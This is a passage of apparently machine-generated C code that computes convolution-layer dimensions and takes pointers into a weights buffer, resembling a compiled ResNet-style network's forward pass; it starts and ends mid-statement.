x7238;\nif (x7213) {\nx7238 = 0;\n} else {\nx7238 = 1;\n}\nfloat* x119 = x5+601024;\nbool x7277 = x6802 == 1;\nbool x7278 = x7226 == 1;\nbool x7279 = x7277 || x7278;\nbool x7280 = x6802 == x7226;\nbool x7281 = x7279 || x7280;\nbool x7291 = x6802 <= x7226;\nint32_t x7292;\nif (x7291) {\nx7292 = x7226;\n} else {\nx7292 = x6802;\n}\nint32_t x7307;\nif (x7277) {\nx7307 = 0;\n} else {\nx7307 = x6802;\n}\nint32_t x7308;\nif (x7277) {\nx7308 = 0;\n} else {\nx7308 = 1;\n}\nint32_t x7310;\nif (x7278) {\nx7310 = 0;\n} else {\nx7310 = x7226;\n}\nint32_t x7311;\nif (x7278) {\nx7311 = 0;\n} else {\nx7311 = 1;\n}\nint32_t x7357 = x6802 - 1;\nint32_t x7358 = x7357 / 1;\nint32_t x7359 = x7358 + 1;\nint32_t x7363 = 8192 * x7359;\nint32_t x7364 = x7363 * x7359;\nint32_t x7360 = x7359 * x7359;\nint32_t x7361 = 128 * x7360;\nfloat* x256 = x5+602560;\nbool x7438 = x7359 == 1;\nbool x7439 = x7438 || true;\nbool x7440 = x7439 || x7438;\nbool x7450 = x7359 <= 1;\nint32_t x7451;\nif (x7450) {\nx7451 = 1;\n} else {\nx7451 = x7359;\n}\nint32_t x7457 = x7451 * x7451;\nint32_t x7461;\nif (x7438) {\nx7461 = 0;\n} else {\nx7461 = x7359;\n}\nint32_t x7462;\nif (x7438) {\nx7462 = 0;\n} else {\nx7462 = 1;\n}\nfloat* x100 = x5+668352;\nfloat* x177 = x5+668480;\nbool x7541 = x7451 == 1;\nbool x7542 = x7541 || true;\nbool x7543 = x7542 || x7541;\nbool x7553 = x7451 <= 1;\nint32_t x7554;\nif (x7553) {\nx7554 = 1;\n} else {\nx7554 = x7451;\n}\nint32_t x7560 = x7554 * x7554;\nint32_t x7565;\nif (x7541) {\nx7565 = 0;\n} else {\nx7565 = x7451;\n}\nint32_t x7566;\nif (x7541) {\nx7566 = 0;\n} else {\nx7566 = 1;\n}\nbool x7629 = x7554 == 1;\nbool x7630 = x7629 || true;\nbool x7631 = x7630 || x7629;\nbool x7641 = x7554 <= 1;\nint32_t x7642;\nif (x7641) {\nx7642 = 1;\n} else {\nx7642 = x7554;\n}\nint32_t x7648 = x7642 * x7642;\nint32_t x7653;\nif (x7629) {\nx7653 = 0;\n} else {\nx7653 = x7554;\n}\nint32_t x7654;\nif (x7629) {\nx7654 = 0;\n} else {\nx7654 = 1;\n}\nfloat* x222 = x5+668096;\nbool x7717 = x7642 == 1;\nbool x7718 = x7717 || true;\nbool x7719 = x7718 || x7717;\nbool x7729 = x7642 <= 1;\nint32_t x7730;\nif (x7729) {\nx7730 = 1;\n} else {\nx7730 = x7642;\n}\nint32_t x7736 = x7730 * x7730;\nint32_t x7741;\nif (x7717) {\nx7741 = 0;\n} else {\nx7741 = x7642;\n}\nint32_t x7742;\nif (x7717) {\nx7742 = 0;\n} else {\nx7742 = 1;\n}\nfloat* x17 = x5+668224;\nint32_t x7789 = x7730 + 2;\nint32_t x7790 = x7789 - 3;\nint32_t x7791 = x7790 / 1;\nint32_t x7792 = x7791 + 1;\nint32_t x7796 = 8192 * x7792;\nint32_t x7797 = x7796 * x7792;\nint32_t x7793 = x7792 * x7792;\nint32_t x7794 = 128 * x7793;\nfloat* x235 = x5+668608;\nbool x7919 = x7792 == 1;\nbool x7920 = x7919 || true;\nbool x7921 = x7920 || x7919;\nbool x7931 = x7792 <= 1;\nint32_t x7932;\nif (x7931) {\nx7932 = 1;\n} else {\nx7932 = x7792;\n}\nint32_t x7938 = x7932 * x7932;\nint32_t x7942;\nif (x7919) {\nx7942 = 0;\n} else {\nx7942 = x7792;\n}\nint32_t x7943;\nif (x7919) {\nx7943 = 0;\n} else {\nx7943 = 1;\n}\nfloat* x35 = x5+816320;\nfloat* x225 = x5+816448;\nbool x8022 = x7932 == 1;\nbool x8023 = x8022 || true;\nbool x8024 = x8023 || x8022;\nbool x8034 = x7932 <= 1;\nint32_t x8035;\nif (x8034) {\nx8035 = 1;\n} else {\nx8035 = x7932;\n}\nint32_t x8041 = x8035 * x8035;\nint32_t x8046;\nif (x8022) {\nx8046 = 0;\n} else {\nx8046 = x7932;\n}\nint32_t x8047;\nif (x8022) {\nx8047 = 0;\n} else {\nx8047 = 1;\n}\nbool x8110 = x8035 == 1;\nbool x8111 = x8110 || true;\nbool x8112 = x8111 || x8110;\nbool x8122 = x8035 <= 1;\nint32_t x8123;\nif (x8122) {\nx8123 = 1;\n} else {\nx8123 = x8035;\n}\nint32_t x8129 = x8123 * x8123;\nint32_t x8134;\nif (x8110) {\nx8134 = 0;\n} else {\nx8134 = x8035;\n}\nint32_t x8135;\nif (x8110) {\nx8135 = 0;\n} else {\nx8135 = 1;\n}\nfloat* x8 = x5+816064;\nbool x8198 = x8123 == 1;\nbool x8199 = x8198 || true;\nbool x8200 = x8199 || x8198;\nbool x8210 = x8123 <= 1;\nint32_t x8211;\nif (x8210) {\nx8211 = 1;\n} else {\nx8211 = x8123;\n}\nint32_t x8217 = x8211 * x8211;\nint32_t x8222;\nif (x8198) {\nx8222 = 0;\n} else {\nx8222 = x8123;\n}\nint32_t x8223;\nif (x8198) {\nx8223 = 0;\n} else {\nx8223 = 1;\n}\nfloat* x95 = x5+816192;\nint32_t x8270 = x8211 - 1;\nint32_t x8271 = x8270 / 1;\nint32_t x8272 = x8271 + 1;\nint32_t x8276 = 32768 * x8272;\nint32_t x8277 = x8276 * x8272;\nint32_t x8273 = x8272 * x8272;\nint32_t x8274 = 512 * x8273;\nfloat* x111 = x5+816576;\nbool x8351 = x8272 == 1;\nbool x8352 = x8351 || true;\nbool x8353 = x8352 || x8351;\nbool x8363 = x8272 <= 1;\nint32_t x8364;\nif (x8363) {\nx8364 = 1;\n} else {\nx8364 = x8272;\n}\nint32_t x8370 = x8364 * x8364;\nint32_t x8374;\nif (x8351) {\nx8374 = 0;\n} else {\nx8374 = x8272;\n}\nint32_t x8375;\nif (x8351) {\nx8375 = 0;\n} else {\nx8375 = 1;\n}\nfloat* x147 = x5+883136;\nfloat* x88 = x5+883648;\nbool x8454 = x8364 == 1;\nbool x8455 = x8454 || true;\nbool x8456 = x8455 || x8454;\nbool x8466 = x8364 <= 1;\nint32_t x8467;\nif (x8466) {\nx8467 = 1;\n} else {\nx8467 = x8364;\n}\nint32_t x8473 = x8467 * x8467;\nint32_t x8478;\nif (x8454) {\nx8478 = 0;\n} else {\nx8478 = x8364;\n}\nint32_t x8479;\nif (x8454) {\nx8479 = 0;\n} else {\nx8479 = 1;\n}\nbool x8542 = x8467 == 1;\nbool x8543 = x8542 || true;\nbool x8544 = x8543 || x8542;\nbool x8554 = x8467 <= 1;\nint32_t x8555;\nif (x8554) {\nx8555 = 1;\n} else {\nx8555 = x8467;\n}\nint32_t x8561 = x8555 * x8555;\nint32_t x8566;\nif (x8542) {\nx8566 = 0;\n} else {\nx8566 = x8467;\n}\nint32_t x8567;\nif (x8542) {\nx8567 = 0;\n} else {\nx8567 = 1;\n}\nfloat* x52 = x5+882112;\nbool x8630 = x8555 == 1;\nbool x8631 = x8630 || true;\nbool x8632 = x8631 || x8630;\nbool x8642 = x8555 <= 1;\nint32_t x8643;\nif (x8642) {\nx8643 = 1;\n} else {\nx8643 = x8555;\n}\nint32_t x8649 = x8643 * x8643;\nint32_t x8654;\nif (x8630) {\nx8654 = 0;\n} else {\nx8654 = x8555;\n}\nint32_t x8655;\nif (x8630) {\nx8655 = 0;\n} else {\nx8655 = 1;\n}\nfloat* x246 = x5+882624;\nbool x8693 = x8643 == 1;\nbool x8694 = x8693 || x7277;\nbool x8695 = x8643 == x6802;\nbool x8696 = x8694 || x8695;\nbool x8706 = x8643 <= x6802;\nint32_t x8707;\nif (x8706) {\nx8707 = x6802;\n} else {\nx8707 = x8643;\n}\nint32_t x8722;\nif (x8693) {\nx8722 = 0;\n} else {\nx8722 = x8643;\n}\nint32_t x8723;\nif (x8693) {\nx8723 = 0;\n} else {\nx8723 = 1;\n}\nint32_t x8769 = x8643 - 1;\nint32_t x8770 = x8769 / 1;\nint32_t x8771 = x8770 + 1;\nint32_t x8775 = 8192 * x8771;\nint32_t x8776 = x8775 * x8771;\nint32_t x8772 = x8771 * x8771;\nint32_t x8773 = 128 * x8772;\nfloat* x196 = x5+884160;\nbool x8850 = x8771 == 1;\nbool x8851 = x8850 || true;\nbool x8852 = x8851 || x8850;\nbool x8862 = x8771 <= 1;\nint32_t x8863;\nif (x8862) {\nx8863 = 1;\n} else {\nx8863 = x8771;\n}\nint32_t x8869 = x8863 * x8863;\nint32_t x8873;\nif (x8850) {\nx8873 = 0;\n} else {\nx8873 = x8771;\n}\nint32_t x8874;\nif (x8850) {\nx8874 = 0;\n} else {\nx8874 = 1;\n}\nfloat* x112 = x5+949952;\nfloat* x9 = x5+950080;\nbool x8953 = x8863 == 1;\nbool x8954 = x8953 || true;\nbool x8955 = x8954 || x8953;\nbool x8965 = x8863 <= 1;\nint32_t x8966;\nif (x8965) {\nx8966 = 1;\n} else {\nx8966 = x8863;\n}\nint32_t x8972 = x8966 * x8966;\nint32_t x8977;\nif (x8953) {\nx8977 = 0;\n} else {\nx8977 = x8863;\n}\nint32_t x8978;\nif (x8953) {\nx8978 = 0;\n} else {\nx8978 = 1;\n}\nbool x9041 = x8966 == 1;\nbool x9042 = x9041 || true;\nbool x9043 = x9042 || x9041;\nbool x9053 = x8966 <= 1;\nint32_t x9054;\nif (x9053) {\nx9054 = 1;\n} else {\nx9054 = x8966;\n}\nint32_t x9060 = x9054 * x9054;\nint32_t x9065;\nif (x9041) {\nx9065 = 0;\n} else {\nx9065 = x8966;\n}\nint32_t x9066;\nif (x9041) {\nx9066 = 0;\n} else {\nx9066 = 1;\n}\nfloat* x45 = x5+949696;\nbool x9129 = x9054 == 1;\nbool x9130 = x9129 || true;\nbool x9131 = x9130 || x9129;\nbool x9141 = x9054 <= 1;\nint32_t x9142;\nif (x9141) {\nx9142 = 1;\n} else {\nx9142 = x9054;\n}\nint32_t x9148 = x9142 * x9142;\nint32_t x9153;\nif (x9129) {\nx9153 = 0;\n} else {\nx9153 = x9054;\n}\nint32_t x9154;\nif (x9129) {\nx9154 = 0;\n} else {\nx9154 = 1;\n}\nfloat* x170 = x5+949824;\nint32_t x9201 = x9142 + 2;\nint32_t x9202 = x9201 - 3;\nint32_t x9203 = x9202 / 1;\nint32_t x9204 = x9203 + 1;\nint32_t x9208 = 8192 * x9204;\nint32_t x9209 = x9208 * x9204;\nint32_t x9205 = x9204 * x9204;\nint32_t x9206 = 128 * x9205;\nfloat* x191 = x5+950208;\nbool x9331 = x9204 == 1;\nbool x9332 = x9331 || true;\nbool x9333 = x9332 || x9331;\nbool x9343 = x9204 <= 1;\nint32_t x9344;\nif (x9343) {\nx9344 = 1;\n} else {\nx9344 = x9204;\n}\nint32_t x9350 = x9344 * x9344;\nint32_t x9354;\nif (x9331) {\nx9354 = 0;\n} else {\nx9354 = x9204;\n}\nint32_t x9355;\nif (x9331) {\nx9355 = 0;\n} else {\nx9355 = 1;\n}\nfloat* x217 = x5+1097920;\nfloat* x266 = x5+1098048;\nbool x9434 = x9344 == 1;\nbool x9435 = x9434 || true;\nbool x9436 = x9435 || x9434;\nbool x9446 = x9344 <= 1;\nint32_t x9447;\nif (x9446) {\nx9447 = 1;\n} else {\nx9447 = x9344;\n}\nint32_t x9453 = x9447 * x9447;\nint32_t x9458;\nif (x9434) {\nx9458 = 0;\n} else {\nx9458 = x9344;\n}\nint32_t x9459;\nif (x9434) {\nx9459 = 0;\n} else {\nx9459 = 1;\n}\nbool x9522 = x9447 == 1;\nbool x9523 = x9522 || true;\nbool x9524 = x9523 || x9522;\nbool x9534 = x9447 <= 1;\nint32_t x9535;\nif (x9534) {\nx9535 = 1;\n} else {\nx9535 = x9447;\n}\nint32_t x9541 = x9535 * x9535;\nint32_t x9546;\nif (x9522) {\nx9546 = 0;\n} else {\nx9546 = x9447;\n}\nint32_t x9547;\nif (x9522) {\nx9547 = 0;\n} else {\nx9547 = 1;\n}\nfloat* x127 = x5+1097664;\nbool x9610 = x9535 == 1;\nbool x9611 = x9610 || true;\nbool x9612 = x9611 || x9610;\nbool x9622 = x9535 <= 1;\nint32_t x9623;\nif (x9622) {\nx9623 = 1;\n} else {\nx9623 = x9535;\n}\nint32_t x9629 = x9623 * x9623;\nint32_t x9634;\nif (x9610) {\nx9634 = 0;\n} else {\nx9634 = x9535;\n}\nint32_t x9635;\nif (x9610) {\nx9635 = 0;\n} else {\nx9635 = 1;\n}\nfloat* x61 = x5+1097792;\nint32_t x9682 = x9623 - 1;\nint32_t x9683 = x9682 / 1;\nint32_t x9684 = x9683 + 1;\nint32_t x9688 = 32768 * x9684;\nint32_t x9689 = x9688 * x9684;\nint32_t x9685 = x9684 * x9684;\nint32_t x9686 = 512 * x9685;\nfloat* x41 = x5+1098176;\nbool x9763 = x9684 == 1;\nbool x9764 = x9763 || true;\nbool x9765 = x9764 || x9763;\nbool x9775 = x9684 <= 1;\nint32_t x9776;\nif (x9775) {\nx9776 = 1;\n} else {\nx9776 = x9684;\n}\nint32_t x9782 = x9776 * x9776;\nint32_t x9786;\nif (x9763) {\nx9786 = 0;\n} else {\nx9786 = x9684;\n}\nint32_t x9787;\nif (x9763) {\nx9787 = 0;\n} else {\nx9787 = 1;\n}\nfloat* x25 = x5+1164736;\nfloat* x223 = x5+1165248;\nbool x9866 = x9776 == 1;\nbool x9867 = x9866 || true;\nbool x9868 = x9867 || x9866;\nbool x9878 = x9776 <= 1;\nint32_t x9879;\nif (x9878) {\nx9879 = 1;\n} else {\nx9879 = x9776;\n}\nint32_t x9885 = x9879 * x9879;\nint32_t x9890;\nif (x9866) {\nx9890 = 0;\n} else {\nx9890 = x9776;\n}\nint32_t x9891;\nif (x9866) {\nx9891 = 0;\n} else {\nx9891 = 1;\n}\nbool x9954 = x9879 == 1;\nbool x9955 = x9954 || true;\nbool x9956 = x9955 || x9954;\nbool x9966 = x9879 <= 1;\nint32_t x9967;\nif (x9966) {\nx9967 = 1;\n} else {\nx9967 = x9879;\n}\nint32_t x9973 = x9967 * x9967;\nint32_t x9978;\nif (x9954) {\nx9978 = 0;\n} else {\nx9978 = x9879;\n}\nint32_t x9979;\nif (x9954) {\nx9979 = 0;\n} else {\nx9979 = 1;\n}\nfloat* x167 = x5+1163712;\nbool x10042 = x9967 == 1;\nbool x10043 = x10042 || true;\nbool x10044 = x10043 || x10042;\nbool x10054 = x9967 <= 1;\nint32_t x10055;\nif (x10054) {\nx10055 = 1;\n} else {\nx10055 = x9967;\n}\nint32_t x10061 = x10055 * x10055;\nint32_t x10066;\nif (x10042) {\nx10066 = 0;\n} else {\nx10066 = x9967;\n}\nint32_t x10067;\nif (x10042) {\nx10067 = 0;\n} else {\nx10067 = 1;\n}\nfloat* x82 = x5+1164224;\nbool x10105 = x10055 == 1;\nbool x10106 = x10105 || x8693;\nbool x10107 = x10055 == x8643;\nbool x10108 = x10106 || x10107;\nbool x10118 = x10055 <= x8643;\nint32_t x10119;\nif (x10118) {\nx10119 = x8643;\n} else {\nx10119 = x10055;\n}\nint32_t x10134;\nif (x10105) {\nx10134 = 0;\n} else {\nx10134 = x10055;\n}\nint32_t x10135;\nif (x10105) {\nx10135 = 0;\n} else {\nx10135 = 1;\n}\nint32_t x10181 = x10055 - 1;\nint32_t x10182 = x10181 / 1;\nint32_t x10183 = x10182 + 1;\nint32_t x10187 = 8192 * x10183;\nint32_t x10188 = x10187 * x10183;\nint32_t x10184 = x10183 * x10183;\nint32_t x10185 = 128 * x10184;\nfloat* x132 = x5+1165760;\nbool x10262 = x10183 == 1;\nbool x10263 = x10262 || true;\nbool x10264 = x10263 || x10262;\nbool x10274 = x10183 <= 1;\nint32_t x10275;\nif (x10274) {\nx10275 = 1;\n} else {\nx10275 = x10183;\n}\nint32_t x10281 = x10275 * x10275;\nint32_t x10285;\nif (x10262) {\nx10285 = 0;\n} else {\nx10285 = x10183;\n}\nint32_t x10286;\nif (x10262) {\nx10286 = 0;\n} else {\nx10286 = 1;\n}\nfloat* x236 = x5+1231552;\nfloat* x261 = x5+1231680;\nbool x10365 = x10275 == 1;\nbool x10366 = x10365 || true;\nbool x10367 = x10366 || x10365;\nbool x10377 = x10275 <= 1;\nint32_t x10378;\nif (x10377) {\nx10378 = 1;\n} else {\nx10378 = x10275;\n}\nint32_t x10384 = x10378 * x10378;\nint32_t x10389;\nif (x10365) {\nx10389 = 0;\n} else {\nx10389 = x10275;\n}\nint32_t x10390;\nif (x10365) {\nx10390 = 0;\n} else {\nx10390 = 1;\n}\nbool x10453 = x10378 == 1;\nbool x10454 = x10453 || true;\nbool x10455 = x10454 || x10453;\nbool x10465 = x10378 <= 1;\nint32_t x10466;\nif (x10465) {\nx10466 = 1;\n} else {\nx10466 = x10378;\n}\nint32_t x10472 = x10466 * x10466;\nint32_t x10477;\nif (x10453) {\nx10477 = 0;\n} else {\nx10477 = x10378;\n}\nint32_t x10478;\nif (x10453) {\nx10478 = 0;\n} else {\nx10478 = 1;\n}\nfloat* x39 = x5+1231296;\nbool x10541 = x10466 == 1;\nbool x10542 = x10541 || true;\nbool x10543 = x10542 || x10541;\nbool x10553 = x10466 <= 1;\nint32_t x10554;\nif (x10553) {\nx10554 = 1;\n} else {\nx10554 = x10466;\n}\nint32_t x10560 = x10554 * x10554;\nint32_t x10565;\nif (x10541) {\nx10565 = 0;\n} else {\nx10565 = x10466;\n}\nint32_t x10566;\nif (x10541) {\nx10566 = 0;\n} else {\nx10566 = 1;\n}\nfloat* x242 = x5+1231424;\nint32_t x10613 = x10554 + 2;\nint32_t x10614 = x10613 - 3;\nint32_t x10615 = x10614 / 1;\nint32_t x10616 = x10615 + 1;\nint32_t x10620 = 8192 * x10616;\nint32_t x10621 = x10620 * x10616;\nint32_t x10617 = x10616 * x10616;\nint32_t x10618 = 128 * x10617;\nfloat* x165 = x5+1231808;\nbool x10743 = x10616 == 1;\nbool x10744 = x10743 || true;\nbool x10745 = x10744 || x10743;\nbool x10755 = x10616 <= 1;\nint32_t x10756;\nif (x10755) {\nx10756 = 1;\n} else {\nx10756 = x10616;\n}\nint32_t x10762 = x10756 * x10756;\nint32_t x10766;\nif (x10743) {\nx10766 = 0;\n} else {\nx10766 = x10616;\n}\nint32_t x10767;\nif (x10743) {\nx10767 = 0;\n} else {\nx10767 = 1;\n}\nfloat* x268 = x5+1379520;\nfloat* x148 = x5+1379648;\nbool x10846 = x10756 == 1;\nbool x10847 = x10846 || true;\nbool x10848 = x10847 || x10846;\nbool x10858 = x10756 <= 1;\nint32_t x10859;\nif (x10858) {\nx10859 = 1;\n} else {\nx10859 = x10756;\n}\nint32_t x10865 = x10859 * x10859;\nint32_t x10870;\nif (x10846) {\nx10870 = 0;\n} else {\nx10870 = x10756;\n}\nint32_t x10871;\nif (x10846) {\nx10871 = 0;\n} else {\nx10871 = 1;\n}\nbool x10934 = x10859 == 1;\nbool x10935 = x10934 || true;\nbool x10936 = x10935 || x10934;\nbool x10946 = x10859 <= 1;\nint32_t x10947;\nif (x10946) {\nx10947 = 1;\n} else {\nx10947 = x10859;\n}\nint32_t x10953 = x10947 * x10947;\nint32_t x10958;\nif (x10934) {\nx10958 = 0;\n} else {\nx10958 = x10859;\n}\nint32_t x10959;\nif (x10934) {\nx10959 = 0;\n} else {\nx10959 = 1;\n}\nfloat* x79 = x5+1379264;\nbool x11022 = x10947 == 1;\nbool x11023 = x11022 || true;\nbool x11024 = x11023 || x11022;\nbool x11034 = x10947 <= 1;\nint32_t x11035;\nif (x11034) {\nx11035 = 1;\n} else {\nx11035 = x10947;\n}\nint32_t x11041 = x11035 * x11035;\nint32_t x11046;\nif (x11022) {\nx11046 = 0;\n} else {\nx11046 = x10947;\n}\nint32_t x11047;\nif (x11022) {\nx11047 = 0;\n} else {\nx11047 = 1;\n}\nfloat* x38 = x5+1379392;\nint32_t x11094 = x11035 - 1;\nint32_t x11095 = x11094 / 1;\nint32_t x11096 = x11095 + 1;\nint32_t x11100 = 32768 * x11096;\nint32_t x11101 = x11100 * x11096;\nint32_t x11097 = x11096 * x11096;\nint32_t x11098 = 512 * x11097;\nfloat* x55 = x5+1379776;\nbool x11175 = x11096 == 1;\nbool x11176 = x11175 || true;\nbool x11177 = x11176 || x11175;\nbool x11187 = x11096 <= 1;\nint32_t x11188;\nif (x11187) {\nx11188 = 1;\n} else {\nx11188 = x11096;\n}\nint32_t x11194 = x11188 * x11188;\nint32_t x11198;\nif (x11175) {\nx11198 = 0;\n} else {\nx11198 = x11096;\n}\nint32_t x11199;\nif (x11175) {\nx11199 = 0;\n} else {\nx11199 = 1;\n}\nfloat* x19 = x5+1446336;\nfloat* x234 = x5+1446848;\nbool x11278 = x11188 == 1;\nbool x11279 = x11278 || true;\nbool x11280 = x11279 || x11278;\nbool x11290 = x11188 <= 1;\nint32_t x11291;\nif (x11290) {\nx11291 = 1;\n} else {\nx11291 = x11188;\n}\nint32_t x11297 = x11291 * x11291;\nint32_t x11302;\nif (x11278) {\nx11302 = 0;\n} else {\nx11302 = x11188;\n}\nint32_t x11303;\nif (x11278) {\nx11303 = 0;\n} else {\nx11303 = 1;\n}\nbool x11366 = x11291 == 1;\nbool x11367 = x11366 || true;\nbool x11368 = x11367 || x11366;\nbool x11378 = x11291 <= 1;\nint32_t x11379;\nif (x11378) {\nx11379 = 1;\n} else {\nx11379 = x11291;\n}\nint32_t x11385 = x11379 * x11379;\nint32_t x11390;\nif (x11366) {\nx11390 = 0;\n} else {\nx11390 = x11291;\n}\nint32_t x11391;\nif (x11366) {\nx11391 = 0;\n} else {\nx11391 = 1;\n}\nfloat* x156 = x5+1445312;\nbool x11454 = x11379 == 1;\nbool x11455 = x11454 || true;\nbool x11456 = x11455 || x11454;\nbool x11466 = x11379 <= 1;\nint32_t x11467;\nif (x11466) {\nx11467 = 1;\n} else {\nx11467 = x11379;\n}\nint32_t x11473 = x11467 * x11467;\nint32_t x11478;\nif (x11454) {\nx11478 = 0;\n} else {\nx11478 = x11379;\n}\nint32_t x11479;\nif (x11454) {\nx11479 = 0;\n} else {\nx11479 = 1;\n}\nfloat* x54 = x5+1445824;\nbool x11517 = x11467 == 1;\nbool x11518 = x11517 || x10105;\nbool x11519 = x11467 == x10055;\nbool x11520 = x11518 || x11519;\nbool x11530 = x11467 <= x10055;\nint32_t x11531;\nif (x11530) {\nx11531 = x10055;\n} else {\nx11531 = x11467;\n}\nint32_t x11546;\nif (x11517) {\nx11546 = 0;\n} else {\nx11546 = x11467;\n}\nint32_t x11547;\nif (x11517) {\nx11547 = 0;\n} else {\nx11547 = 1;\n}\nint32_t x11593 = x11467 - 1;\nint32_t x11594 = x11593 / 1;\nint32_t x11595 = x11594 + 1;\nint32_t x11599 = 16384 * x11595;\nint32_t x11600 = x11599 * x11595;\nint32_t x11596 = x11595 * x11595;\nint32_t x11597 = 256 * x11596;\nfloat* x180 = x5+1447360;\nbool x11674 = x11595 == 1;\nbool x11675 = x11674 || true;\nbool x11676 = x11675 || x11674;\nbool x11686 = x11595 <= 1;\nint32_t x11687;\nif (x11686) {\nx11687 = 1;\n} else {\nx11687 = x11595;\n}\nint32_t x11693 = x11687 * x11687;\nint32_t x11697;\nif (x11674) {\nx11697 = 0;\n} else {\nx11697 = x11595;\n}\nint32_t x11698;\nif (x11674) {\nx11698 = 0;\n} else {\nx11698 = 1;\n}\nfloat* x131 = x5+1578944;\nfloat* x198 = x5+1579200;\nbool x11777 = x11687 == 1;\nbool x11778 = x11777 || true;\nbool x11779 = x11778 || x11777;\nbool x11789 = x11687 <= 1;\nint32_t x11790;\nif (x11789) {\nx11790 = 1;\n} else {\nx11790 = x11687;\n}\nint32_t x11796 = x11790 * x11790;\nint32_t x11801;\nif (x11777) {\nx11801 = 0;\n} else {\nx11801 = x11687;\n}\nint32_t x11802;\nif (x11777) {\nx11802 = 0;\n} else {\nx11802 = 1;\n}\nbool x11865 = x11790 == 1;\nbool x11866 = x11865 || true;\nbool x11867 = x11866 || x11865;\nbool x11877 = x11790 <= 1;\nint32_t x11878;\nif (x11877) {\nx11878 = 1;\n} else {\nx11878 = x11790;\n}\nint32_t x11884 = x11878 * x11878;\nint32_t x11889;\nif (x11865) {\nx11889 = 0;\n} else {\nx11889 = x11790;\n}\nint32_t x11890;\nif (x11865) {\nx11890 = 0;\n} else {\nx11890 = 1;\n}\nfloat* x270 = x5+1578432;\nbool x11953 = x11878 == 1;\nbool x11954 = x11953 || true;\nbool x11955 = x11954 || x11953;\nbool x11965 = x11878 <= 1;\nint32_t x11966;\nif (x11965) {\nx11966 = 1;\n} else {\nx11966 = x11878;\n}\nint32_t x11972 = x11966 * x11966;\nint32_t x11977;\nif (x11953) {\nx11977 = 0;\n} else {\nx11977 = x11878;\n}\nint32_t x11978;\nif (x11953) {\nx11978 = 0;\n} else {\nx11978 = 1;\n}\nfloat* x21 = x5+1578688;\nint32_t x12025 = x11966 + 2;\nint32_t x12026 = x12025 - 3;\nint32_t x12027 = x12026 / 2;\nint32_t x12028 = x12027 + 1;\nint32_t x12032 = 16384 * x12028;\nint32_t x12033 = x12032 * x12028;\nint32_t x12029 = x12028 * x12028;\nint32_t x12030 = 256 * x12029;\nfloat* x175 = x5+1579456;\nbool x12139 = x12028 == 1;\nbool x12140 = x12139 || true;\nbool x12141 = x12140 || x12139;\nbool x12151 = x12028 <= 1;\nint32_t x12152;\nif (x12151) {\nx12152 = 1;\n} else {\nx12152 = x12028;\n}\nint32_t x12158 = x12152 * x12152;\nint32_t x12162;\nif (x12139) {\nx12162 = 0;\n} else {\nx12162 = x12028;\n}\nint32_t x12163;\nif (x12139) {\nx12163 = 0;\n} else {\nx12163 = 1;\n}\nfloat* x229 = x5+2169792;\nfloat* x99 = x5+2170048;\nbool x12242 = x12152 == 1;\nbool x12243 = x12242 || true;\nbool x12244 = x12243 || x12242;\nbool x12254 = x12152 <= 1;\nint32_t x12255;\nif (x12254) {\nx12255 = 1;\n} else {\nx12255 = x12152;\n}\nint32_t x12261 = x12255 * x12255;\nint32_t x12266;\nif (x12242) {\nx12266 = 0;\n} else {\nx12266 = x12152;\n}\nint32_t x12267;\nif (x12242) {\nx12267 = 0;\n} else {\nx12267 = 1;\n}\nbool x12330 = x12255 == 1;\nbool x12331 = x12330 || true;\nbool x12332 = x12331 || x12330;\nbool x12342 = x12255 <= 1;\nint32_t x12343;\nif (x12342) {\nx12343 = 1;\n} else {\nx12343 = x12255;\n}\nint32_t x12349 = x12343 * x12343;\nint32_t x12354;\nif (x12330) {\nx12354 = 0;\n} else {\nx12354 = x12255;\n}\nint32_t x12355;\nif (x12330) {\nx12355 = 0;\n} else {\nx12355 = 1;\n}\nfloat* x108 = x5+2169280;\nbool x12418 = x12343 == 1;\nbool x12419 = x12418 || true;\nbool x12420 = x12419 || x12418;\nbool x12430 = x12343 <= 1;\nint32_t x12431;\nif (x12430) {\nx12431 = 1;\n} else {\nx12431 = x12343;\n}\nint32_t x12437 = x12431 * x12431;\nint32_t x12442;\nif (x12418) {\nx12442 = 0;\n} else {\nx12442 = x12343;\n}\nint32_t x12443;\nif (x12418) {\nx12443 = 0;\n} else {\nx12443 = 1;\n}\nfloat* x16 = x5+2169536;\nint32_t x12490 = x12431 - 1;\nint32_t x12491 = x12490 / 1;\nint32_t x12492 = x12491 + 1;\nint32_t x12496 = 65536 * x12492;\nint32_t x12497 = x12496 * x12492;\nint32_t x12493 = x12492 * x12492;\nint32_t x12494 = 1024 * x12493;\nfloat* x269 = x5+2170304;\nbool x12571 = x12492 == 1;\nbool x12572 = x12571 || true;\nbool x12573 = x12572 || x12571;\nbool x12583 = x12492 <= 1;\nint32_t x12584;\nif (x12583) {\nx12584 = 1;\n} else {\nx12584 = x12492;\n}\nint32_t x12590 = x12584 * x12584;\nint32_t x12594;\nif (x12571) {\nx12594 = 0;\n} else {\nx12594 = x12492;\n}\nint32_t x12595;\nif (x12571) {\nx12595 = 0;\n} else {\nx12595 = 1;\n}\nfloat* x216 = x5+2434496;\nfloat* x267 = x5+2435520;\nbool x12675 = x12584 == 1;\nbool x12676 = x12675 || true;\nbool x12677 = x12676 || x12675;\nbool x12687 = x12584 <= 1;\nint32_t x12688;\nif (x12687) {\nx12688 = 1;\n} else {\nx12688 = x12584;\n}\nint32_t x12694 = x12688 * x12688;\nint32_t x12699;\nif (x12675) {\nx12699 = 0;\n} else {\nx12699 = x12584;\n}\nint32_t x12700;\nif (x12675) {\nx12700 = 0;\n} else {\nx12700 = 1;\n}\nbool x12763 = x12688 == 1;\nbool x12764 = x12763 || true;\nbool x12765 = x12764 || x12763;\nbool x12775 = x12688 <= 1;\nint32_t x12776;\nif (x12775) {\nx12776 = 1;\n} else {\nx12776 = x12688;\n}\nint32_t x12782 = x12776 * x12776;\nint32_t x12787;\nif (x12763) {\nx12787 = 0;\n} else {\nx12787 = x12688;\n}\nint32_t x12788;\nif (x12763) {\nx12788 = 0;\n} else {\nx12788 = 1;\n}\nfloat* x18 = x5+2432448;\nbool x12851 = x12776 == 1;\nbool x12852 = x12851 || true;\nbool x12853 = x12852 || x12851;\nbool x12863 = x12776 <= 1;\nint32_t x12864;\nif (x12863) {\nx12864 = 1;\n} else {\nx12864 = x12776;\n}\nint32_t x12870 = x12864 * x12864;\nint32_t x12875;\nif (x12851) {\nx12875 = 0;\n} else {\nx12875 = x12776;\n}\nint32_t x12876;\nif (x12851) {\nx12876 = 0;\n} else {\nx12876 = 1;\n}\nfloat* x117 = x5+2433472;\nint32_t x12910 = x11593 / 2;\nint32_t x12911 = x12910 + 1;\nint32_t x12915 = 